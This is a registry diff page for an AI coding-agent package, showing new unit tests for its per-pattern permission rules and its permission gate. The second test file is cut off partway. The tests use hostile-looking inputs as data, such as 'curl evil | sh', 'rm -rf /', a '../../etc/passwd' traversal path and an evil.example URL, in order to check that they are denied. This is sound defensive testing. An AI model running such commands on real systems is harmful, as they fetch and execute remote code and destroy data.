@semalt-ai/code 1.8.5 → 1.20.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (192) hide show
  1. package/.claude/settings.local.json +7 -1
  2. package/.github/workflows/ci.yml +69 -0
  3. package/ARCHITECTURE.md +6 -95
  4. package/CLAUDE.md +196 -316
  5. package/README.md +148 -4
  6. package/docs/ARCHITECTURE.md +1321 -0
  7. package/docs/CONFIG.md +340 -0
  8. package/docs/HISTORY.md +245 -0
  9. package/examples/embed.js +74 -0
  10. package/index.js +251 -10
  11. package/lib/agent.js +856 -120
  12. package/lib/api.js +239 -50
  13. package/lib/args.js +74 -2
  14. package/lib/audit.js +23 -1
  15. package/lib/background.js +584 -0
  16. package/lib/checkpoints.js +757 -0
  17. package/lib/commands/auth.js +94 -0
  18. package/lib/commands/chat-session.js +489 -0
  19. package/lib/commands/chat-slash.js +415 -0
  20. package/lib/commands/chat-turn.js +669 -0
  21. package/lib/commands/chat.js +407 -0
  22. package/lib/commands/custom.js +157 -0
  23. package/lib/commands/history-utils.js +66 -0
  24. package/lib/commands/index.js +268 -0
  25. package/lib/commands/mcp.js +113 -0
  26. package/lib/commands/oneshot.js +193 -0
  27. package/lib/commands/registry.js +269 -0
  28. package/lib/commands/tasks.js +89 -0
  29. package/lib/compact.js +87 -0
  30. package/lib/config.js +360 -11
  31. package/lib/constants.js +401 -3
  32. package/lib/deny.js +199 -0
  33. package/lib/doctor.js +160 -0
  34. package/lib/headless.js +202 -0
  35. package/lib/hooks.js +286 -0
  36. package/lib/images.js +270 -0
  37. package/lib/internals.js +49 -0
  38. package/lib/mcp/boundary.js +131 -0
  39. package/lib/mcp/client.js +270 -0
  40. package/lib/mcp/oauth.js +134 -0
  41. package/lib/memory.js +209 -0
  42. package/lib/metrics.js +37 -2
  43. package/lib/payload.js +54 -0
  44. package/lib/permission-rules.js +401 -0
  45. package/lib/permissions.js +123 -26
  46. package/lib/pricing.js +67 -0
  47. package/lib/proc.js +62 -0
  48. package/lib/prompts.js +99 -8
  49. package/lib/sandbox.js +568 -0
  50. package/lib/sdk.js +328 -0
  51. package/lib/secrets.js +211 -0
  52. package/lib/skills.js +223 -0
  53. package/lib/subagents.js +516 -0
  54. package/lib/tool_registry.js +2862 -0
  55. package/lib/tool_specs.js +263 -9
  56. package/lib/tools.js +352 -1039
  57. package/lib/ui/anim.js +86 -0
  58. package/lib/ui/ansi.js +17 -27
  59. package/lib/ui/chat-history.js +253 -71
  60. package/lib/ui/create-ui.js +67 -24
  61. package/lib/ui/diff.js +90 -25
  62. package/lib/ui/file-activity.js +236 -0
  63. package/lib/ui/format.js +195 -29
  64. package/lib/ui/input-field.js +21 -11
  65. package/lib/ui/md-stream.js +234 -0
  66. package/lib/ui/render-operation.js +113 -0
  67. package/lib/ui/select.js +1 -4
  68. package/lib/ui/status-bar.js +146 -36
  69. package/lib/ui/stream.js +20 -13
  70. package/lib/ui/theme.js +190 -44
  71. package/lib/ui/tool-operation.js +190 -0
  72. package/lib/ui/utils.js +9 -5
  73. package/lib/ui/web-activity.js +270 -0
  74. package/lib/ui/writer.js +159 -45
  75. package/lib/ui.js +1 -1
  76. package/lib/verify.js +229 -0
  77. package/lib/web-extract.js +213 -0
  78. package/lib/web-summarize.js +68 -0
  79. package/package.json +19 -4
  80. package/scripts/lint.js +57 -0
  81. package/test/agent-loop.test.js +389 -0
  82. package/test/anim-driver.test.js +153 -0
  83. package/test/ask-user-display.test.js +226 -0
  84. package/test/ask-user-gate.test.js +231 -0
  85. package/test/background.test.js +414 -0
  86. package/test/chat-history-nocolor.test.js +155 -0
  87. package/test/chat-relogin.test.js +207 -0
  88. package/test/chat.test.js +114 -0
  89. package/test/checkpoints-agent.test.js +181 -0
  90. package/test/checkpoints.test.js +650 -0
  91. package/test/command-registry.test.js +160 -0
  92. package/test/compact.test.js +116 -0
  93. package/test/completion-lazy.test.js +52 -0
  94. package/test/config-merge.test.js +324 -0
  95. package/test/config-quarantine.test.js +128 -0
  96. package/test/config-write-guard-allow-anywhere.test.js +56 -0
  97. package/test/config-write-guard-skip.test.js +46 -0
  98. package/test/config-write-guard.test.js +153 -0
  99. package/test/context-split.test.js +215 -0
  100. package/test/cost-doctor.test.js +142 -0
  101. package/test/custom-commands-chat.test.js +106 -0
  102. package/test/custom-commands.test.js +230 -0
  103. package/test/defer-detail-band.test.js +403 -0
  104. package/test/deny-windows.test.js +120 -0
  105. package/test/deny.test.js +83 -0
  106. package/test/detail-band-tab-flatten.test.js +242 -0
  107. package/test/download-allow-anywhere.test.js +66 -0
  108. package/test/download-confine.test.js +153 -0
  109. package/test/exec-diff.test.js +268 -0
  110. package/test/executors.test.js +599 -0
  111. package/test/extract-tool-calls.test.js +349 -0
  112. package/test/fetch-url-validation.test.js +219 -0
  113. package/test/file-activity.test.js +522 -0
  114. package/test/fixtures/tool-calls.js +57 -0
  115. package/test/fixtures/web-page.js +91 -0
  116. package/test/git-tools.test.js +384 -0
  117. package/test/grep-glob-serialize.test.js +242 -0
  118. package/test/grep-glob.test.js +268 -0
  119. package/test/grep-path-target.test.js +227 -0
  120. package/test/harness/README.md +57 -0
  121. package/test/harness/chat-harness.js +143 -0
  122. package/test/harness/memwarn-headless-child.js +65 -0
  123. package/test/harness/mock-llm.js +120 -0
  124. package/test/harness/mock-mcp-server.js +142 -0
  125. package/test/harness/sse-server.js +69 -0
  126. package/test/headless.test.js +348 -0
  127. package/test/history-utils.test.js +88 -0
  128. package/test/hooks-agent.test.js +238 -0
  129. package/test/hooks-verify-sandbox.test.js +232 -0
  130. package/test/hooks.test.js +216 -0
  131. package/test/http-get-user-agent.test.js +142 -0
  132. package/test/images-api.test.js +208 -0
  133. package/test/images.test.js +238 -0
  134. package/test/input-field-ctrl-o.test.js +37 -0
  135. package/test/live-height-physical.test.js +281 -0
  136. package/test/max-iterations.test.js +218 -0
  137. package/test/mcp-boundary.test.js +57 -0
  138. package/test/mcp-client.test.js +267 -0
  139. package/test/mcp-oauth.test.js +86 -0
  140. package/test/md-stream.test.js +183 -0
  141. package/test/memory-truncation-warning.test.js +222 -0
  142. package/test/memory.test.js +198 -0
  143. package/test/native-dispatch.test.js +409 -0
  144. package/test/native-live-narration.test.js +254 -0
  145. package/test/output-chokepoint.test.js +188 -0
  146. package/test/output-heredoc-leak.test.js +195 -0
  147. package/test/output-preview.test.js +245 -0
  148. package/test/path-guards.test.js +134 -0
  149. package/test/payload.test.js +99 -0
  150. package/test/permission-rules-agent.test.js +210 -0
  151. package/test/permission-rules.test.js +297 -0
  152. package/test/permissions.test.js +362 -0
  153. package/test/plan-mode.test.js +167 -0
  154. package/test/read-paginate.test.js +275 -0
  155. package/test/readonly-tools.test.js +177 -0
  156. package/test/render-operation.test.js +317 -0
  157. package/test/replay-descriptor-xml.test.js +216 -0
  158. package/test/replay-descriptor.test.js +189 -0
  159. package/test/replay-web-aggregate.test.js +291 -0
  160. package/test/replay-web-persist.test.js +241 -0
  161. package/test/result-cap.test.js +233 -0
  162. package/test/running-glyph-anim.test.js +111 -0
  163. package/test/sandbox-agent.test.js +147 -0
  164. package/test/sandbox-integration.test.js +216 -0
  165. package/test/sandbox.test.js +408 -0
  166. package/test/sdk.test.js +234 -0
  167. package/test/shell-output-cap.test.js +181 -0
  168. package/test/skills-chat.test.js +110 -0
  169. package/test/skills.test.js +295 -0
  170. package/test/smoke.test.js +68 -0
  171. package/test/status-bar-driver.test.js +93 -0
  172. package/test/status-bar-pause.test.js +164 -0
  173. package/test/status-bar-resync.test.js +188 -0
  174. package/test/stream-parser.test.js +171 -0
  175. package/test/subagents-agent.test.js +178 -0
  176. package/test/subagents.test.js +222 -0
  177. package/test/theme-palette.test.js +166 -0
  178. package/test/tool-registry.test.js +85 -0
  179. package/test/trim-budget.test.js +101 -0
  180. package/test/truncate-visible.test.js +78 -0
  181. package/test/verify-agent.test.js +317 -0
  182. package/test/verify.test.js +141 -0
  183. package/test/view-image.test.js +199 -0
  184. package/test/web-activity-ordering.test.js +203 -0
  185. package/test/web-activity.test.js +207 -0
  186. package/test/web-data-extraction-guidance.test.js +71 -0
  187. package/test/web-extract.test.js +185 -0
  188. package/test/web-fetch-agent.test.js +291 -0
  189. package/test/web-fetch-mode.test.js +193 -0
  190. package/test/web-search.test.js +380 -0
  191. package/lib/commands.js +0 -1438
  192. package/path +0 -1
@@ -0,0 +1,297 @@
1
+ 'use strict';
2
+
3
+ // Per-pattern permission rules (Task 4.1). Exhaustive + adversarial coverage of
4
+ // the pure rule engine. The six security constraints are each pinned by a named
5
+ // test below. Path canonicalization uses real temp dirs (incl. a symlink) so the
6
+ // `..` / symlink / absolute bypass attempts are exercised on the real filesystem.
7
+
8
+ const { test } = require('node:test');
9
+ const assert = require('node:assert');
10
+ const fs = require('fs');
11
+ const os = require('os');
12
+ const path = require('path');
13
+
14
+ const {
15
+ resolvePermission,
16
+ normalizeCall,
17
+ normalizeRule,
18
+ normalizeRuleLayer,
19
+ loadRuleLayers,
20
+ globToRegExp,
21
+ compileMatcher,
22
+ } = require('../lib/permission-rules');
23
+
24
+ // Compile a layered rule set the way the loader does, but inline for tests.
25
+ function layers({ user = [], project = [] } = {}, log) {
26
+ return {
27
+ user: normalizeRuleLayer(user, 'user', log),
28
+ project: normalizeRuleLayer(project, 'project', log),
29
+ };
30
+ }
31
+
32
+ // Resolve a raw call directly: normalize → resolve. cwd defaults so file paths
33
+ // canonicalize predictably.
34
+ function decide(call, ruleSpec, cwd) {
35
+ const norm = normalizeCall(call, { cwd: cwd || process.cwd() });
36
+ return resolvePermission(norm, layers(ruleSpec)).decision;
37
+ }
38
+
39
+ // ── compilation primitives ─────────────────────────────────────────────────
40
+
41
+ test('globToRegExp: * is segment-aware for paths, ** crosses separators', () => {
42
+ assert.ok(globToRegExp('src/*', { crossSep: false }).test('src/a.js'));
43
+ assert.ok(!globToRegExp('src/*', { crossSep: false }).test('src/a/b.js'));
44
+ assert.ok(globToRegExp('src/**', { crossSep: false }).test('src/a/b.js'));
45
+ assert.ok(globToRegExp('**/*.env', { crossSep: false }).test('a/b/x.env'));
46
+ assert.ok(globToRegExp('**/*.env', { crossSep: false }).test('x.env'));
47
+ });
48
+
49
+ test('globToRegExp: greedy * for commands crosses everything', () => {
50
+ assert.ok(globToRegExp('git *', { crossSep: true }).test('git log --oneline a/b'));
51
+ });
52
+
53
+ test('compileMatcher distinguishes regex (/.../) from glob by syntax', () => {
54
+ assert.strictEqual(compileMatcher('git *', true).kind, 'glob');
55
+ assert.strictEqual(compileMatcher('/curl/', true).kind, 'regex');
56
+ assert.strictEqual(compileMatcher('*', true).kind, 'any');
57
+ assert.strictEqual(compileMatcher(null, true).kind, 'any');
58
+ });
59
+
60
+ test('compileMatcher: more literal chars ⇒ higher specificity', () => {
61
+ assert.ok(compileMatcher('git push *', true).specificity > compileMatcher('git *', true).specificity);
62
+ });
63
+
64
+ // ── rule normalization / fail-closed at load (constraint 5) ─────────────────
65
+
66
+ test('malformed rules are dropped at load (fail closed), valid ones kept', () => {
67
+ const dropped = [];
68
+ const out = normalizeRuleLayer([
69
+ { tool: 'shell', action: 'allow', pattern: 'git *' }, // ok
70
+ { tool: 'shell', action: 'banana' }, // bad action
71
+ { action: 'allow', pattern: '*' }, // missing tool
72
+ { tool: 'shell', action: 'deny', pattern: 'a', path: 'b' }, // ambiguous matcher
73
+ 'not-an-object', // wrong type
74
+ ], 'user', (m) => dropped.push(m));
75
+ assert.strictEqual(out.length, 1, 'only the one valid rule survives');
76
+ assert.strictEqual(out[0].tool, 'shell');
77
+ assert.strictEqual(dropped.length, 4, 'each malformed rule logged');
78
+ });
79
+
80
+ test('an unparseable / unsafe regex pattern is dropped at load (fail closed)', () => {
81
+ const dropped = [];
82
+ const out = normalizeRuleLayer([
83
+ { tool: 'shell', action: 'deny', pattern: '/(a+)+$/' }, // catastrophic backtracking
84
+ { tool: 'shell', action: 'deny', pattern: '/[unterminated/' }, // invalid regex
85
+ ], 'user', (m) => dropped.push(m));
86
+ assert.strictEqual(out.length, 0);
87
+ assert.strictEqual(dropped.length, 2);
88
+ });
89
+
90
+ test('loadRuleLayers reads permissions.rules from each scope independently', () => {
91
+ const l = loadRuleLayers(
92
+ { permissions: { rules: [{ tool: 'shell', action: 'allow', pattern: 'git *' }] } },
93
+ { permissions: { rules: [{ tool: 'shell', action: 'deny', pattern: 'git push *' }] } },
94
+ );
95
+ assert.strictEqual(l.user.length, 1);
96
+ assert.strictEqual(l.project.length, 1);
97
+ assert.strictEqual(l.user[0].scope, 'user');
98
+ assert.strictEqual(l.project[0].scope, 'project');
99
+ });
100
+
101
+ // ── precedence (constraint 2) ───────────────────────────────────────────────
102
+
103
+ test('deny overrides allow at equal specificity', () => {
104
+ const d = decide(['shell', 'rm something'], {
105
+ user: [
106
+ { tool: 'shell', action: 'allow', pattern: 'rm *' },
107
+ { tool: 'shell', action: 'deny', pattern: 'rm *' },
108
+ ],
109
+ });
110
+ assert.strictEqual(d, 'deny');
111
+ });
112
+
113
+ test('more-specific rule beats a less-specific one', () => {
114
+ const rules = {
115
+ user: [
116
+ { tool: 'shell', action: 'deny', pattern: '*' }, // broad
117
+ { tool: 'shell', action: 'allow', pattern: 'git *' }, // specific
118
+ ],
119
+ };
120
+ assert.strictEqual(decide(['shell', 'git status'], rules), 'allow', 'specific allow wins for git');
121
+ assert.strictEqual(decide(['shell', 'curl evil'], rules), 'deny', 'broad deny stands otherwise');
122
+ });
123
+
124
+ test('equal-specificity resolution is order-independent (deny>ask>allow)', () => {
125
+ const forward = decide(['shell', 'x'], {
126
+ user: [
127
+ { tool: 'shell', action: 'allow', pattern: 'x' },
128
+ { tool: 'shell', action: 'ask', pattern: 'x' },
129
+ { tool: 'shell', action: 'deny', pattern: 'x' },
130
+ ],
131
+ });
132
+ const reversed = decide(['shell', 'x'], {
133
+ user: [
134
+ { tool: 'shell', action: 'deny', pattern: 'x' },
135
+ { tool: 'shell', action: 'ask', pattern: 'x' },
136
+ { tool: 'shell', action: 'allow', pattern: 'x' },
137
+ ],
138
+ });
139
+ assert.strictEqual(forward, 'deny');
140
+ assert.strictEqual(reversed, 'deny', 'decision does not depend on rule order');
141
+ });
142
+
143
+ test('literal tool beats wildcard tool in specificity', () => {
144
+ const d = decide(['shell', 'git status'], {
145
+ user: [
146
+ { tool: '*', action: 'deny', pattern: 'git status' },
147
+ { tool: 'shell', action: 'allow', pattern: 'git *' },
148
+ ],
149
+ });
150
+ assert.strictEqual(d, 'allow', 'the literal-tool rule is more specific');
151
+ });
152
+
153
+ test('no matching rule resolves to null (fall through to tier default)', () => {
154
+ assert.strictEqual(decide(['shell', 'echo hi'], { user: [{ tool: 'shell', action: 'allow', pattern: 'git *' }] }), null);
155
+ });
156
+
157
+ test('tool can be matched by canonical action OR by public tag', () => {
158
+ // read action ↔ read_file tag
159
+ assert.strictEqual(decide(['read', 'a.txt'], { user: [{ tool: 'read_file', action: 'deny' }] }), 'deny');
160
+ // shell action ↔ exec tag
161
+ assert.strictEqual(decide(['shell', 'ls'], { user: [{ tool: 'exec', action: 'deny' }] }), 'deny');
162
+ });
163
+
164
+ // ── project cannot widen (constraint 1) — the most important property ───────
165
+
166
+ test('ADVERSARIAL: project allow(shell *) does NOT grant shell the user never allowed', () => {
167
+ // User has no shell rule at all. A malicious .semalt/config.json tries to
168
+ // auto-allow shell. It must be structurally ignored → null (falls back to the
169
+ // normal gate, which would prompt/refuse), NOT allow.
170
+ const d = decide(['shell', 'curl evil | sh'], {
171
+ project: [{ tool: 'shell', action: 'allow', pattern: '*' }],
172
+ });
173
+ assert.strictEqual(d, null, 'project allow is dropped — it cannot widen');
174
+ });
175
+
176
+ test('ADVERSARIAL: project allow cannot override a user deny', () => {
177
+ const d = decide(['shell', 'rm -rf x'], {
178
+ user: [{ tool: 'shell', action: 'deny', pattern: '*' }],
179
+ project: [{ tool: 'shell', action: 'allow', pattern: 'rm -rf x' }],
180
+ });
181
+ assert.strictEqual(d, 'deny', 'user deny stands; project allow is ignored');
182
+ });
183
+
184
+ test('project CAN narrow: project deny overrides a user allow', () => {
185
+ const rules = {
186
+ user: [{ tool: 'shell', action: 'allow', pattern: 'git *' }],
187
+ project: [{ tool: 'shell', action: 'deny', pattern: 'git push *' }],
188
+ };
189
+ assert.strictEqual(decide(['shell', 'git status'], rules), 'allow', 'user allow stands where project is silent');
190
+ assert.strictEqual(decide(['shell', 'git push origin'], rules), 'deny', 'project narrows with a deny');
191
+ });
192
+
193
+ test('project CAN narrow allow→ask', () => {
194
+ const d = decide(['shell', 'git status'], {
195
+ user: [{ tool: 'shell', action: 'allow', pattern: 'git *' }],
196
+ project: [{ tool: 'shell', action: 'ask', pattern: 'git *' }],
197
+ });
198
+ assert.strictEqual(d, 'ask');
199
+ });
200
+
201
+ test('across layers the MOST RESTRICTIVE decision wins', () => {
202
+ // user ask + project deny → deny
203
+ assert.strictEqual(decide(['shell', 'x'], {
204
+ user: [{ tool: 'shell', action: 'ask', pattern: 'x' }],
205
+ project: [{ tool: 'shell', action: 'deny', pattern: 'x' }],
206
+ }), 'deny');
207
+ // user deny + project ask → deny (user already more restrictive)
208
+ assert.strictEqual(decide(['shell', 'x'], {
209
+ user: [{ tool: 'shell', action: 'deny', pattern: 'x' }],
210
+ project: [{ tool: 'shell', action: 'ask', pattern: 'x' }],
211
+ }), 'deny');
212
+ });
213
+
214
+ // ── canonicalization / bypass attempts (constraint 3) ───────────────────────
215
+
216
+ test('ADVERSARIAL: .. traversal cannot satisfy an allow scoped to src/**', () => {
217
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'perm-canon-'));
218
+ try {
219
+ const rules = { user: [{ tool: 'write_file', action: 'allow', path: 'src/**' }] };
220
+ // A legit in-scope write is allowed.
221
+ assert.strictEqual(decide(['write', 'src/app.js', 'x'], rules, tmp), 'allow');
222
+ // The bypass attempt canonicalizes to outside src/ → allow does NOT apply.
223
+ assert.strictEqual(decide(['write', 'src/../../etc/passwd', 'x'], rules, tmp), null,
224
+ 'canonical path escapes src/**, so the allow rule cannot match it');
225
+ } finally {
226
+ fs.rmSync(tmp, { recursive: true, force: true });
227
+ }
228
+ });
229
+
230
+ test('ADVERSARIAL: a symlink is matched on its real (canonical) target', () => {
231
+ const tmp = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'perm-symlink-')));
232
+ try {
233
+ const secretDir = path.join(tmp, 'secret');
234
+ fs.mkdirSync(secretDir);
235
+ const secret = path.join(secretDir, 'creds.txt');
236
+ fs.writeFileSync(secret, 'token');
237
+ const link = path.join(tmp, 'innocent.txt');
238
+ fs.symlinkSync(secret, link);
239
+
240
+ // Deny anything whose real path lands under secret/.
241
+ const rules = { user: [{ tool: 'read', action: 'deny', path: '**/secret/**' }] };
242
+ // Reading via the symlink resolves to .../secret/creds.txt and is denied.
243
+ assert.strictEqual(decide(['read', link], rules, tmp), 'deny',
244
+ 'the symlink resolves to its target, which the deny rule matches');
245
+ } finally {
246
+ fs.rmSync(tmp, { recursive: true, force: true });
247
+ }
248
+ });
249
+
250
+ test('absolute-path rules match the canonical absolute form', () => {
251
+ const tmp = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'perm-abs-')));
252
+ try {
253
+ const abs = path.join(tmp, 'a', 'b.txt');
254
+ const rules = { user: [{ tool: 'write_file', action: 'deny', path: tmp + '/**' }] };
255
+ assert.strictEqual(decide(['write', abs, 'x'], rules, tmp), 'deny');
256
+ } finally {
257
+ fs.rmSync(tmp, { recursive: true, force: true });
258
+ }
259
+ });
260
+
261
+ // ── regex error fails closed at runtime (constraint 4/5) ────────────────────
262
+
263
+ test('a matcher that throws at runtime never GRANTS but still RESTRICTS', () => {
264
+ // Hand-build rules with a matcher whose test() throws, to simulate a runtime
265
+ // failure that slipped past load-time validation.
266
+ const boom = { kind: 'regex', specificity: 5, test: () => { throw new Error('redos'); } };
267
+ const allowRule = { scope: 'user', tool: 'shell', toolMatcher: globToRegExp('shell', { crossSep: true }), matcher: boom, action: 'allow', specificity: 1005, source: '/x/', matcherKey: 'pattern' };
268
+ const denyRule = { ...allowRule, action: 'deny' };
269
+ const call = normalizeCall(['shell', 'anything']);
270
+
271
+ // Erroring allow ⇒ treated as no-match ⇒ no decision (does not grant).
272
+ assert.strictEqual(resolvePermission(call, { user: [allowRule], project: [] }).decision, null);
273
+ // Erroring deny ⇒ treated as a match ⇒ still denies.
274
+ assert.strictEqual(resolvePermission(call, { user: [denyRule], project: [] }).decision, 'deny');
275
+ });
276
+
277
+ // ── reason surfacing ────────────────────────────────────────────────────────
278
+
279
+ test('resolvePermission reports the deciding rule for debug/audit', () => {
280
+ const norm = normalizeCall(['shell', 'rm -rf /']);
281
+ const v = resolvePermission(norm, layers({ user: [{ tool: 'shell', action: 'deny', pattern: 'rm -rf *' }] }));
282
+ assert.strictEqual(v.decision, 'deny');
283
+ assert.match(v.reason, /^user deny shell/);
284
+ assert.strictEqual(v.scope, 'user');
285
+ });
286
+
287
+ // ── net + tool-only rules ───────────────────────────────────────────────────
288
+
289
+ test('url rules match http_get / download URLs', () => {
290
+ assert.strictEqual(decide(['http_get', 'https://evil.example/x'], {
291
+ user: [{ tool: 'http_get', action: 'deny', url: 'https://evil.example/*' }],
292
+ }), 'deny');
293
+ });
294
+
295
+ test('tool-only rule (no matcher) matches every call of that tool', () => {
296
+ assert.strictEqual(decide(['set_env', 'FOO', 'bar'], { user: [{ tool: 'set_env', action: 'deny' }] }), 'deny');
297
+ });
@@ -0,0 +1,362 @@
1
+ 'use strict';
2
+
3
+ // Characterization tests for the permission gate (Task 1.1).
4
+ // Focus on the deterministic, non-interactive decision paths:
5
+ // --dangerously-skip-permissions, auto-approve-all, tier pre-approval,
6
+ // the non-TTY refusal, and the --readonly block. The interactive picker
7
+ // paths require a live TTY/modal and are exercised by the 1.2 harness instead.
8
+
9
+ const { test } = require('node:test');
10
+ const assert = require('node:assert');
11
+
12
+ const {
13
+ createPermissionManager,
14
+ TIER_FS,
15
+ TIER_EXEC,
16
+ TIER_NET,
17
+ TIER_SYS,
18
+ } = require('../lib/permissions');
19
+ const dbg = require('../lib/debug');
20
+ const { loadRuleLayers } = require('../lib/permission-rules');
21
+
22
+ // Minimal ui: interactiveSelect throws so any accidental fall-through to the
23
+ // interactive path fails loudly instead of hanging on stdin.
24
+ const uiStub = {
25
+ BOLD: '', FG_CYAN: '', FG_DARK: '', FG_GRAY: '', FG_GREEN: '', FG_RED: '', FG_YELLOW: '', RST: '',
26
+ interactiveSelect: async () => { throw new Error('interactiveSelect must not be reached here'); },
27
+ };
28
+
29
+ // Run fn with stdout/stdin forced non-TTY, then restore. Guarantees the
30
+ // "refuse in headless mode" branch regardless of how the suite is launched.
31
+ async function withNonTTY(fn) {
32
+ const outPrev = process.stdout.isTTY;
33
+ const inPrev = process.stdin.isTTY;
34
+ process.stdout.isTTY = false;
35
+ process.stdin.isTTY = false;
36
+ try {
37
+ return await fn();
38
+ } finally {
39
+ process.stdout.isTTY = outPrev;
40
+ process.stdin.isTTY = inPrev;
41
+ }
42
+ }
43
+
44
+ test('--dangerously-skip-permissions auto-approves any tool call', async () => {
45
+ const pm = createPermissionManager(uiStub, { skipPermissions: true });
46
+ assert.strictEqual(await pm.askPermission('exec', 'rm stuff', 'exec'), true);
47
+ assert.strictEqual(await pm.askPermission('file', 'write a file', 'write_file'), true);
48
+ });
49
+
50
+ test('toggleAll enables/disables session-wide auto-approve', async () => {
51
+ const pm = createPermissionManager(uiStub, {});
52
+ assert.strictEqual(pm.toggleAll(), true, 'first toggle turns it on');
53
+ assert.strictEqual(await pm.askPermission('exec', 'anything', 'exec'), true);
54
+ assert.strictEqual(pm.toggleAll(), false, 'second toggle turns it off');
55
+ await withNonTTY(async () => {
56
+ assert.strictEqual(await pm.askPermission('exec', 'anything', 'exec'), false);
57
+ });
58
+ });
59
+
60
+ test('tier flags pre-approve only their own tags', async () => {
61
+ const pm = createPermissionManager(uiStub, { allowedTiers: ['exec'] });
62
+ // exec tier → 'exec' tag approved without prompting.
63
+ assert.strictEqual(await pm.askPermission('exec', 'run', 'exec'), true);
64
+ // A net-tier tag is NOT covered by the exec flag, so it refuses headless.
65
+ await withNonTTY(async () => {
66
+ assert.strictEqual(await pm.askPermission('net', 'fetch', 'http_get'), false);
67
+ });
68
+ });
69
+
70
+ test('fs tier flag pre-approves a representative fs tag', async () => {
71
+ const pm = createPermissionManager(uiStub, { allowedTiers: ['fs'] });
72
+ assert.strictEqual(await pm.askPermission('file', 'write', 'write_file'), true);
73
+ });
74
+
75
+ test('headless mode refuses (does not silently auto-approve) without a flag', async () => {
76
+ const pm = createPermissionManager(uiStub, {});
77
+ await withNonTTY(async () => {
78
+ assert.strictEqual(await pm.askPermission('file', 'write', 'write_file'), false);
79
+ assert.strictEqual(await pm.askPermission('exec', 'run', 'exec'), false);
80
+ });
81
+ });
82
+
83
+ test('readonlyBlock blocks write-class tags only when --readonly is set', () => {
84
+ const ro = createPermissionManager(uiStub, { readonly: true });
85
+ assert.deepStrictEqual(ro.readonlyBlock('write_file'), { error: 'blocked by --readonly' });
86
+ assert.deepStrictEqual(ro.readonlyBlock('append_file'), { error: 'blocked by --readonly' });
87
+ assert.deepStrictEqual(ro.readonlyBlock('delete_file'), { error: 'blocked by --readonly' });
88
+ // Read-class operations are allowed even in readonly mode.
89
+ assert.strictEqual(ro.readonlyBlock('read_file'), null);
90
+ assert.strictEqual(ro.readonlyBlock('list_dir'), null);
91
+
92
+ const rw = createPermissionManager(uiStub, {});
93
+ assert.strictEqual(rw.readonlyBlock('write_file'), null, 'no block when not readonly');
94
+ });
95
+
96
+ // Force a TTY so askPermission reaches the interactive uiCallbacks path (the
97
+ // non-TTY refusal short-circuits before it).
98
+ async function withTTY(fn) {
99
+ const outPrev = process.stdout.isTTY;
100
+ const inPrev = process.stdin.isTTY;
101
+ process.stdout.isTTY = true;
102
+ process.stdin.isTTY = true;
103
+ try {
104
+ return await fn();
105
+ } finally {
106
+ process.stdout.isTTY = outPrev;
107
+ process.stdin.isTTY = inPrev;
108
+ }
109
+ }
110
+
111
+ // Drives the modal navigation handler with a scripted sequence of actions.
112
+ function uiCallbacksThatPick(actions) {
113
+ return {
114
+ onShowModal: () => {},
115
+ onCloseModal: () => {},
116
+ onAddMessage: () => {},
117
+ onCaptureNavigation: (handler) => {
118
+ // Replay asynchronously so requestPermission has returned its release fn.
119
+ setImmediate(() => { for (const a of actions) handler(a); });
120
+ return () => {};
121
+ },
122
+ };
123
+ }
124
+
125
+ test('interactive "Always" approval pins the tag for the rest of the session', async () => {
126
+ await withTTY(async () => {
127
+ const pm = createPermissionManager(uiStub, {});
128
+ pm.setUICallbacks(uiCallbacksThatPick(['next', 'select'])); // Yes → Always
129
+ const first = await pm.askPermission('exec', 'run once', 'exec');
130
+ assert.strictEqual(first, true);
131
+ assert.ok(pm.state.sessionApprovedTags.has('exec'), 'tag remembered for the session');
132
+
133
+ // Second call is auto-approved by the remembered tag — no modal needed, so a
134
+ // throwing nav handler would never be reached.
135
+ pm.setUICallbacks(uiCallbacksThatPick([])); // would never fire
136
+ const second = await pm.askPermission('exec', 'run again', 'exec');
137
+ assert.strictEqual(second, true);
138
+ });
139
+ });
140
+
141
+ test('interactive "No" denies and does not pin the tag', async () => {
142
+ await withTTY(async () => {
143
+ const pm = createPermissionManager(uiStub, {});
144
+ pm.setUICallbacks(uiCallbacksThatPick(['cancel'])); // Esc → deny
145
+ const ok = await pm.askPermission('file', 'write a file', 'write_file');
146
+ assert.strictEqual(ok, false);
147
+ assert.ok(!pm.state.sessionApprovedTags.has('write_file'));
148
+ });
149
+ });
150
+
151
+ test('clear() resets auto-approve-all back to the gated state', async () => {
152
+ const pm = createPermissionManager(uiStub, {});
153
+ pm.toggleAll();
154
+ assert.strictEqual(pm.state.autoApproveAll, true);
155
+ pm.clear();
156
+ assert.strictEqual(pm.state.autoApproveAll, false);
157
+ assert.strictEqual(pm.state.sessionApprovedTags.size, 0);
158
+ });
159
+
160
+ // ── Per-command auto-approve line is gone by default; grant line stays once,
161
+ // debug breadcrumb preserved. (Drop the redundant "Auto-approved" line.) ──
162
+
163
+ // uiCallbacks that record every committed system message so we can assert the
164
+ // absence of a per-command "Auto-approved" line and the presence of the
165
+ // one-time grant line.
166
+ function recordingUICallbacks(actions = []) {
167
+ const messages = [];
168
+ return {
169
+ messages,
170
+ onShowModal: () => {},
171
+ onCloseModal: () => {},
172
+ onAddMessage: (m) => { messages.push(m); },
173
+ onCaptureNavigation: (handler) => {
174
+ setImmediate(() => { for (const a of actions) handler(a); });
175
+ return () => {};
176
+ },
177
+ };
178
+ }
179
+
180
+ function autoApprovedMessages(messages) {
181
+ return messages.filter((m) => typeof m.content === 'string' && m.content.includes('Auto-approved'));
182
+ }
183
+
184
+ test('default: an auto-approved command emits NO per-command "Auto-approved" line', async () => {
185
+ // exec tier pre-approves the `exec` tag → askPermission auto-approves without
186
+ // a prompt and would have called _emitAutoApproved.
187
+ const pm = createPermissionManager(uiStub, { allowedTiers: ['exec'] });
188
+ const cb = recordingUICallbacks();
189
+ pm.setUICallbacks(cb);
190
+
191
+ assert.strictEqual(await pm.askPermission('exec', 'git status', 'exec'), true);
192
+ assert.strictEqual(await pm.askPermission('exec', 'ls -la', 'exec'), true);
193
+
194
+ assert.deepStrictEqual(
195
+ autoApprovedMessages(cb.messages),
196
+ [],
197
+ 'no per-command "Auto-approved: <cmd>" line should reach scrollback by default',
198
+ );
199
+ });
200
+
201
+ test('default: --dangerously-skip-permissions auto-approves with no per-command line', async () => {
202
